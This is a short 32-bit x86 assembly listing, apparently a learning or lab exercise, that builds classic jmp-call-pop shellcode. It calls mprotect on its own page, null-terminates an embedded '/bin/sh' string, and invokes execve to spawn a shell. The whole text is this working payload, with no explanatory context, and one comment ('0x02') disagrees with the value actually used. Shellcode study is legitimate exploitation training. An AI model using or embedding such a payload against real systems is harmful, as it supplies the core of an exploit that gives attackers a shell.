BITS 32

section .text
global _start

_start:
  jmp short two
one:
  ; mprotect (_start, 4096, 0x02)
  mov eax, 125
  mov ebx, _start
  and ebx, 0xFFFFF000
  mov ecx, 0x1000
  mov edx, 0x07
  int 0x80

  pop ebx
  xor eax, eax
  mov [ebx + 7], al
;  mov [ebx + 8], ebp
;  mov [ebx + 12], eax
;  lea ecx, [ebp + 8]
;  lea edx, [ebp + 12]
  mov ecx, eax
  mov edx, eax
  mov eax, 11
  int 0x80
  ; exit(0)
  mov eax, 1
  xor ebx, ebx
  int 0x80
two:
  call one
  db '/bin/shXAAAABBBB'